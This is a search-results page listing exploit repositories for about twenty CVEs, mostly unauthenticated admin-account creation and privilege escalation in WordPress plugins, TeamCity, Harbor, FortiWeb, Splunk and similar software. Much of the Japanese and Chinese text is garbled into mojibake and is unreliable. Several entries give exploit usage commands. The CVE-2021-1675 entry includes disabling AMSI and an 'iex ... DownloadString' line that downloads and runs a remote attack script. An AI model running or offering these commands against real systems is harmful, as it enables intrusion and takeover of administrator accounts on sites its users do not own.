2643 matches found
CVE-2025-6934
CVE-2025-6934 unauthenticated privilege escalation in opal estate pro Description CVE-2025-6934 is a critical vulnerability in the Opal Estate Pro WordPress plugin โค v1.7.5. This bug allows an unauthenticated attacker to create a new administrator account by sending a crafted request to:...
CVE-2024-27198_LAB
CVE-2024-27198 ๅฎ้ช็ฏๅข ๆ่ฟฐ TeamCity ๆไพไบไธไธชไป ็ฎก็ๅๅฏ่ฎฟ้ฎ็ไปค็็ฎก็้กต้ข๏ผไฝ่ฏฅ้กต้ขๆชๅ่บซไปฝ้ช่ฏไฟๆคใ่ฟไฝฟๅพๆช็ป่บซไปฝ้ช่ฏ็็จๆทๅช่ฆ่ฝๅคๆพๅฐ็ฐๆ็จๆท็ ID๏ผๅฐฑๅฏไปฅไธบ็ฎก็ๅ็จๆท็ๆ่ฎฟ้ฎไปค็ใ CVE ่ฏฆๆ CVE ID: CVE-2024-27198 CWE: CWE-288 CNA: JetBrains s.r.o. ๅบ็ก่ฏๅ๏ผ9.8 ไธฅ้ ๅ้๏ผ CVSS:3.1 AV:N Network AC:L Low PR:N None UI:N None S:U Unchanged C:H High I:H High A:H High ๅจ่ๆ ๆฅไธ OSINT...
harbor-give-me-admin
harbor็ฎก็่ ่ฟฝๅ ่ๅผฑๆงๆคๅบใใผใซ 0x00 ๆฆ่ฆ 2019ๅนด9ๆใharborใซ็ป้ฒๆฉ่ฝใๅฉ็จใใฆ็ฎก็่ ใ่ฟฝๅ ใงใใ่ๅผฑๆงใ็บ่ฆใใพใใใ็ป้ฒAPI api/users ใไฝฟ็จใใPOSTใใฉใกใผใฟใซ"hasadminrole":true ใ่จญๅฎใใใจใ็ดๆฅ็ฎก็่ ใ่ฟฝๅ ใงใใพใใ ๆฌใใผใซใฏๅไธURLใพใใฏไธๆฌๆคๅบใใตใใผใใใพใใ 0x01 ่ฆไปถ python2.7 pip install requests 0x02 ใฏใคใใฏในใฟใผใ ไฝฟ็จๆณ: python harbor-give-me-admin.py -h ๅไธURLๆคๅบ: python...
CVE-2025-4334
CVE-2025-4334 - Simple User Registration --form Arguments: -u / --url โ Base WordPress URL e.g. https://target.com/wordpress/ --form โ Full URL of the registration form e.g. https://target.com/wpr/default-registration/ Example: root@kitploit: python3 CVE-2025-4334.py -u...
CVE-2025-6934
CVE-2025-6934 โ WordPress Opal Estate Pro ใฎใจใฏในใใญใคใ ๐ ่ชฌๆ ใใฎใชใใธใใชใซใฏ CVE-2025-6934 ใฎๆฆๅฟตๅฎ่จผ PoC ใจใฏในใใญใคใ ใๅซใพใใฆใใพใใ ใใใฏ WordPress ใใฉใฐใคใณ: Opal Estate Pro = 1.7.5 ใฎ้ๅคงใช่ๅผฑๆงใงใใใ่ช่จผใชใใง็ฎก็่ ใขใซใฆใณใใไฝๆ ใงใใใใฎใงใใ โ ๏ธ ๅ ่ฒฌไบ้ : ใใฎใใผใซใฏๆ่ฒใใใณใปใญใฅใชใใฃ็ ็ฉถใฎ็ฎ็ ใงใฎใฟๆไพใใใฆใใพใใ ่่ ใฏใ่ชค็จใๆๅฎณใซใคใใฆไธๅ่ฒฌไปปใ่ฒ ใใพใใ ใ ๐ ๆฉ่ฝ readme.txt ใใใใฉใฐใคใณใฎใใผใธใงใณใ่ชๅๆคๅบ...
CVE-2025-14340
XSSใซใใ็ฎก็่ ใขใซใฆใณใไนใฃๅใ CVE-2025-14340 Payaraใฎ็ฎก็RESTใคใณใฟใผใใงใผในใซใใใใฏใญในใตใคใในใฏใชใใใฃใณใฐใฎ่ๅผฑๆงใซใใใๆปๆ่ ใๅถๅพกใใJavaScriptใๅฎ่กใใใ็ฎก็่ ใขใซใฆใณใใฎไนใฃๅใใซใคใชใใใพใใ็็ฑใฏไปฅไธใฎ้ใใงใ๏ผ 1. ใใใซใฏHTTP Basic่ช่จผใไฝฟ็จใใฆใใพใ๏ผใใฉใฆใถใๅไธใชใชใธใณใชใฏใจในใใซๅฏพใใฆ่ชๅ็ใซ่ช่จผๆ ๅ ฑใ้ไฟกใใพใ๏ผใ 2. change-admin-passwordใจใณใใใคใณใใฏใใฆใผใถใผใฎใในใฏใผใใๆดๆฐใใ้ใซ็พๅจใฎใในใฏใผใใๅฟ ่ฆใจใใพใใใ 3...
CVE-2022-45771-Pwndoc-LFI-to-RCE
Pwndoc ใฎใญใผใซใซใใกใคใซใคใณใฏใซใผใธใงใณใๅฉ็จใใฆใใตใผใใผไธใง Node.js ใณใผใใใชใขใผใๅฎ่กใใ่ๅผฑๆงใงใใ@yuriisanin ใซใใฃใฆ็บ่ฆใใใพใใใ ็นๅพด --payload-file ใไฝฟ็จใใฆใตใผใใผใตใคใใงๅฎ่กใใใซในใฟใ Node.js ใณใผใ ใจใฏในใใญใคใๅพใฎใฏใชใผใณใขใใ ่ฆไปถ PwnDoc ใคใณในใฟใณในใฎ็ฎก็่ ใขใซใฆใณใ ไฝฟ็จๆนๆณ root@kitploit: $ ./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -h CVE-2022-45771 Pwndoc-LFI-to-RCE v1.1 - by Remi...
CVE-2023-3460
CVE-2023-3460 - Ultimate Member ใใฉใฐใคใณใฎๆชๆฟ่ช็ฎก็่ ใขใฏใปใน POC CVSS ในใณใข: 9.1 ๆฅไป: 07/04/2023 Ultimate Member ใใฉใฐใคใณใจใฏ๏ผ Ultimate Member ใใฉใฐใคใณใฏใใฆใผใถใผ็ป้ฒใฎใใใฎไบบๆฐใฎใใใกใณใใผใทใใใใฉใฐใคใณใงใ200,000+ ใฎใขใฏใใฃใใคใณในใใผใซใใใใพใใ ใฏใคใใฏใใงใใฏ 7ๆ7ๆฅใซ Ultimate Member ใใฉใฐใคใณใงๆทฑๅปใช่ๅผฑๆงใ็บ่ฆใใใพใใใๆปๆ่ ใฏๆจฉ้ๆๆ ผๆ่กใๅฉ็จใใฆ็ฎก็่ ใขใซใฆใณใใไฝๆใใWordPress ใฆใงใใตใคใใไนใฃๅใๅฏ่ฝๆงใใใใพใใ...
CVE-2024-28000
CVE-2024-28000 litespeed-cache =6.3 ็จใฎ CVE-2024-28000 ใจใฏในใใญใคใใงใใ็ฎก็่ ใขใซใฆใณใใไฝๆใใฆๆจฉ้ๆๆ ผใๅฏ่ฝใซใใพใ ใใซใ root@kitploit: git clone https://github.com/JohnDoeAnonITA/CVE-2024-28000 cd CVE-2024-28000 go build . ๅ ่ฒฌไบ้ ใใฎPoCใฏๆ่ฒ็ฎ็ใฎใฟใๅฏพ่ฑกใจใใฆใใพใใใทในใใ ๆๆ่ ใฎๆ็คบ็ใช่จฑๅฏใชใใซใใใฎในใฏใชใใใใทในใใ ใธใฎๆปๆใซไฝฟ็จใใชใใงใใ ใใใใทในใใ ใธใฎไธๆญฃใขใฏใปในใฏ้ๆณใใค้ๅซ็็ใงใใ...
CVE-2024-57523.
CVE-2024-57523 - Users.php ไธญ็ CSRF ๆผๆด - SourceCodester ๆฌ่ฟไธๆฌๅฎถๅ ฌๅธ็ฎก็็ณป็ป 1.0 ๆ่ฟฐ ่ฏฅไปๅบๅ ๅซ้ๅฏน SourceCodester ็ ๆฌ่ฟไธๆฌๅฎถๅ ฌๅธ็ฎก็็ณป็ป 1.0 ไธญ ่ทจ็ซ่ฏทๆฑไผช้ CSRF ๆผๆด็ๆฆๅฟต้ช่ฏ PoCใ่ฏฅๆผๆดๅญๅจไบ Users.php ็ซฏ็นไธญ๏ผๆปๅป่ ๅฏ้่ฟๅๅทฒ้ช่ฏ็็ฎก็ๅ็จๆทๅ้็ฒพๅฟๆ้ ็่ฏทๆฑๆฅๅๅปบๆชๆๆ็็ฎก็ๅ่ดฆๆทใ ๆผๆด่ฏฆๆ CVE-2024-57523 ๅๅฝฑๅไบงๅ๏ผ ๆฌ่ฟไธๆฌๅฎถๅ ฌๅธ็ฎก็็ณป็ป 1.0 ๅๅฝฑๅ็ปไปถ๏ผ Users.php ็ซฏ็น ๆปๅป็ฑปๅ๏ผ ่ฟ็จ ๅฝฑๅ๏ผ ๆ้ๆๅใไฟกๆฏๆณ้ฒ ๅฎๅ จๅฝฑๅ๏ผ...
nepstech-xpon-router-CVE-2024-40119
nepstech-xpon-router-CVE-2024-40119 ่่ : Subhodeep Baroi CVE-2024-40119: Nepstech Wifi Router NTPL-XPON1GFEVN v1.0ใซใใใCSRF่ๅผฑๆง ่ชฌๆ CVE-2024-40119 ใฏใNepstech Wifi Router xpon NTPL-XPON1GFEVN v1.0 ใใกใผใ ใฆใงใข...
CVE-2025-68860
WordPress Mobile Builder = 1.4.2 - ่ช่จผใฎๆฌ ้ฅ CVE-2025-68860 ่ชฌๆ WordPress Mobile builder ใใฉใฐใคใณ ใใผใธใงใณ 1.4.2 ไปฅไธใซใฏใๆปๆ่ ใใใใฉใซใใฎใทใผใฏใฌใใใexamplekeyใใไฝฟ็จใใฆๆๅนใช JWT ใใผใฏใณใไฝๆใใ็ฎก็่ userid=1 ใจใใฆ่ช่จผใงใใใใใซใใ Broken Authentication๏ผ่ช่จผใฎๆฌ ้ฅ๏ผใฎ่ๅผฑๆงใๅญๅจใใพใใใใฎใใผใฏใณใไฝฟ็จใใใจใๆปๆ่ ใฏๆฐใใ็ฎก็่ ใขใซใฆใณใใไฝๆใใใตใคใใไนใฃๅใใใจใใงใใพใใ ่ๅผฑๆงใฎ่ฉณ็ดฐ CVE: CVE-2025-688...
CVE-2025-64446
๐ก๏ธ CVE-2025-64446 - FortiWeb Critical Authentication Bypass & Path Traversal Critical unauthenticated vulnerability allowing remote attackers to create administrator accounts on FortiWeb devices. ๐ Overview CVE-2025-64446 is a severe relative path traversal vulnerability in the FortiWeb Web...
cve-2021-1675
cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...
CVE-2024-27956
๐จPOCๅ ฌ้๐จWordPressใฎSQLใคใณใธใงใฏใทใงใณใRCEใซใคใชใใPoCใๅ ฌ้ใใใพใใ CVE-2024-27956ใWordPress็ฎก็่ ใขใซใฆใณใไฝๆใจใชใใผในใทใงใซ cve-2024-27956 ไฝฟใๆน- sudo python3 cve.py...
CVE-2023-3460
๐จ CVE-2023-3460 - WordPress Ultimate Member ๆจฉ้ๆๆ ผใจใฏในใใญใคใ ใใใฏใWordPressใใฉใฐใคใณUltimate Member ใฎๆทฑๅปใช่ๅผฑๆงใงใใCVE-2023-3460ใฎๆฆๅฟตๅฎ่จผ๏ผPoC๏ผใจใฏในใใญใคใใงใใใใใซใใใ่ช่จผใใใฆใใชใใฆใผใถใผ ใๆชๆใฎใใ็ป้ฒใชใฏใจในใใไฝๆใใฆๆจฉ้ใ็ฎก็่ ใซๆๆ ผใใใใใจใใงใใพใใ ๐ฅ ๅฝฑ้ฟ: ไธๆญฃใช็ฎก็่ ใขใซใฆใณใใฎไฝๆใซใใใตใคใๅ จไฝใฎไพตๅฎณ ๐ ่ๅผฑๆงใฎ่ฉณ็ดฐ ๅฝฑ้ฟใๅใใใใฉใฐใคใณ: Ultimate Member ๅฝฑ้ฟใๅใใใใผใธใงใณ: 2.6.6ไปฅไธ ไฟฎๆญฃใใผใธใงใณ: 2.6.7...
CVE-2019-6249_Hucart-cms
CVE-2019-6249Hucart cms I. Vulnerability Summary Vulnerability Name: CSRF vulnerability in Hucart cms v5.7.4 allows arbitrary addition of administrator accounts Disclosure Date: 2019-01-13 Discovered by: AllenChen [email protected] Product Homepage: http://www.hucart.com/ Software Link:...
CVE-2023-32707
CVE-2023-32707 An improved POC exploit based on the reported CVE on exploitdb Exploit Title: Splunk 9.0.5 - Admin Account Takeover CVE: CVE-2023-32707 Overview This script allows for exploiting a vulnerability in Splunk 9.0.5, leading to admin account takeover. The exploit leverages a low-privile...
CVE-2024-24401
่ๅผฑๆงใฌใใผใ CVE็บ่ฆ KALI LINUXไธใงใฎๅฎ่กใๆณๅฎ ๆณจๆไบ้ Nagiosใฏๆ่ฟใฎใในใฆใฎใใฆใณใญใผใใซใใใฆใใผใธใงใณ2024R1.0.1ใใใใ้ฉ็จๆธใฟใงใใๅฏพ่ฑกใ่ๅผฑใใฉใใใๅคๆญใใใซใฏใ2024R1.0.1ใใๅคใใใฆใณใญใผใใไฝฟ็จใใฆใใใใจใ็ขบ่ชใใฆใใ ใใใ ๆดๆฐใใใในใฏใชใใใฏใๅฏพ่ฑกใทในใใ ใ่ๅผฑใงใใใใจใ็ขบ่ชใใพใใ ่ๅผฑๆงใฎ่ฉณ็ดฐ: ใจใณใใใคใณใ: /nagiosxi//config/monitoringwizard.php Nagios XI ใใผใธใงใณ 2024R1.0.1 ่ๅผฑๆงใฎ็จฎ้ก: ่ช่จผๆธใฟSQLใคใณใธใงใฏใทใงใณ ๆช็จ็ตๆ:...
CVE-2026-8732
โ๏ธ CVE-2026-8732 WP Maps Pro โค 6.1.0 โ ๆช่ฎค่ฏๆ้ๆๅ 8 ้ถๆฎต่ชๅจๅๅฉ็จ | Multiprocessing + Asyncio | ๅทฒ้ช่ฏ็็ฎก็ๅๅๅปบ ๐ฏ ๅ ณไบๆผๆด WordPress ๆไปถ WP Maps Pro ็ๆฌ โค 6.1.0 ๅญๅจๆช่ฎค่ฏๆ้ๆๅ ๆผๆดใๆปๅป่ ๆ ้ไปปไฝๅญๆฎๅณๅฏๅๅปบ administrator ๅธๆทๅนถๅฎๅ จๆงๅถ็ฝ็ซใ ่ฏฅๆผๆดๆบไบไธไธบ FlipperCode ไพๅบๅๆฏๆๅข้่ฎพ่ฎก็ "Temporary Access" ๅ่ฝ๏ผไฝ่ฏฅๅ่ฝๅจ็ผบไนๅ ๅไฟๆค็ๆ ๅตไธๆด้ฒ็ปๅ ฌไผใ ไฟกๆฏ| ่ฏฆๆ ---|--- CVE|...